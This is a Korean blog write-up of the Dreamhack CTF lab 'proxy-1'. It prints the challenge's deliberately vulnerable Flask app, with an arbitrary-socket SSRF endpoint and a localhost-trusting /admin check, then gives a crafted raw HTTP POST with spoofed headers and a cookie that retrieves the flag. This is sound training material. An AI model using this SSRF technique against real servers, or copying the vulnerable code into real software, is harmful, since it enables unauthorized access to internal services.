본문 바로가기

드림핵

[Dreamhack] proxy-1

이번에 포스팅 할 드림핵 문제는 proxy 문제이다. 

socket을 이용한 SSRF 내부 관리자 엔드포인트 우회 호출이다.

서버를 생성하고 힌트가 주어질 app.py 파일을 받아보자

 

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)

해당 app.py 파일을 확인해보면 이러한 전체 코드를 확인할 수 있다.

주목해야 할 코드는 두 곳이다.

 

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)

 

먼저 이 코드에서 host, port, data를 전부 사용자 입력이며, 사용자가 서버에게 요청을 시킬 수가 있다.

즉, SSRF의 근원이다.

 

@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

다른 한 곳은 /admin의 접근 제어 로직이다.

IP 기반 신뢰이며 Header / Cookie / POST 값만 검사한다.

서버에서 온 요청이면 무조건 믿는다.

 

그렇다는건 /socket에서 host=127.0.0.1, post=8000으로 연결한 뒤, data에 /admin으로 보낼 HTTP 요청 문자열을 직접 작성해서 보내는 것이다.

 

서버 생성 후, 웹 내 Socket 페이지에 접속하면 host, port, Data를 입력할 수 있다.

 

POST /admin HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true
userid=admin

코드에 나와있던 /admin 접근 제어 로직에 따라 HTTP 요청 코드를 작성하였다.

 

host와 port 그리고 작성한 HTTP 요청 문자열을 작성한 후 Send 해보자.

 

하지만 timed out이 뜨며 에러가 발생하였다.

서버는 요청이 끝나지 않았다고 판단하여 응답을 안보내고 계속 대기하게 된다.

 

while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break

서버가 응답을 안닫으면 recv()는 영원히 대기하여 결국 settimeout(3)에 걸리게 된다.

여기서 두 가지의 문제점이 발생했다.

 

body는 있지만 형식 정보가 없고, 브라우저/HTML form 특성상 줄바꿈을 해줘야한다.

그게 아니라면 HTTP 파서는 실패한다.

 

POST /admin HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

userid=admin

Content-Type을 지정하여 Flask가 POST 데이터를 form으로 파싱하고, Content-Length를 userid=admin의 데이터 길이를 지정하여 HTTP/1.1 환경에서 요청 본문의 종료 지점을 명확히한다.

 

다시 작성한 HTTP 요청 문자열을 작성 후, Send 해보자

 

/socket에서 보낸 data가 정상적인 HTTP POST 요청으로 인식되면서, 서버가 자기 자신에게 온 관리자 요청이라고 믿고 /admin의 모든 조건을 통과했기 때문에 FLAG가 반환되는 것을 볼 수 있다. (완전한 HTTP POST 요청으로 파싱 성공)

 

※ 중요

요청 라인 → POST /admin, 헤더 정상, body 유무, body 길이 명확(Content-Length), form 형식 명시(Content-Type)

 

'드림핵' 카테고리의 다른 글

[Dreamhack] php-1  (0) 2026.02.02
[Dreamhack] CSRF-1 및 CSRF-2  (1) 2025.12.04
[Dreamhack] XSS-1 및 XSS-2  (0) 2025.12.03
[Dreamhack] php7cmp4re  (0) 2025.12.02
[Dreamhack] command-injection-1  (0) 2025.04.04